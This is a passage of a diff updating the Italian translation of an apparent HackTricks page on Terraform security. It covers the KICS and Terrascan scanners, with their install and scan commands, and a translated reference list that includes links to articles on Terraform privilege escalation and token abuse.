Mitigare i rischi prima del provisioning dell'infrastruttura cloud-native. +- Offre la flessibilità di eseguirlo localmente o integrarlo con il tuo CI\CD. +```bash +brew install terrascan +terrascan scan -d /path/to/folder +``` ### [KICKS](https://github.com/Checkmarx/kics) -Trova vulnerabilità di sicurezza, problemi di conformità e misconfigurazioni dell'infrastruttura precocemente nel ciclo di sviluppo della tua infrastruttura-as-code con **KICS** di Checkmarx. +Individua vulnerabilità di sicurezza, problemi di compliance e misconfigurazioni dell'infrastruttura nelle prime fasi del ciclo di sviluppo della tua infrastructure-as-code con **KICS** di Checkmarx. -**KICS** sta per **K**eeping **I**nfrastructure as **C**ode **S**ecure, è open source ed è un must-have per qualsiasi progetto cloud native. +**KICS** sta per **K**eeping **I**nfrastructure as **C**ode **S**ecure, è open source ed è uno strumento indispensabile per qualsiasi progetto cloud native. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` ### [Terrascan](https://github.com/tenable/terrascan) -Dalla [**documentazione**](https://github.com/tenable/terrascan): Terrascan è un analizzatore di codice statico per Infrastructure as Code. Terrascan ti consente di: +Dai [**docs**](https://github.com/tenable/terrascan): Terrascan è un analizzatore statico del codice per Infrastructure as Code. Terrascan consente di: -- Scansionare senza problemi l'infrastruttura come codice per configurazioni errate. -- Monitorare l'infrastruttura cloud provisionata per cambiamenti di configurazione che introducono deviazioni di postura e consente di tornare a una postura sicura. -- Rilevare vulnerabilità di sicurezza e violazioni di conformità. -- Mitigare i rischi prima di provisionare infrastrutture cloud native. -- Offrire flessibilità per eseguire localmente o integrarsi con il tuo CI\CD. +- Scansionare in modo trasparente l'infrastruttura come codice per individuare misconfigurazioni. +- Monitorare l'infrastruttura cloud provisioned per cambiamenti di configurazione che introducono posture drift e permettere il ripristino a una postura sicura. +- Rilevare vulnerabilità di sicurezza e violazioni della compliance. +- Mitigare i rischi prima del provisioning di infrastrutture cloud native. +- Offrire flessibilità per l'esecuzione locale o l'integrazione con il tuo CI\CD. ```bash brew install terrascan ``` @@ -367,12 +406,12 @@ brew install terrascan - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) - [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce) - [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/) -- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions) +- [Permessi di Terraform Cloud](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions) - [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace) -- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration) -- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc) -- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud) -- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables) -- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/) +- [Configurazione del provider AWS](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration) +- [AWS CLI – Assunzione del ruolo OIDC](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc) +- [GCP provider – Usare Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud) +- [Terraform – Variabili sensibili](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables) +- [Snyk Labs – Gitflops: i pericoli delle piattaforme di automazione Terraform](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/) {{#include ../banners/hacktricks-training.md}}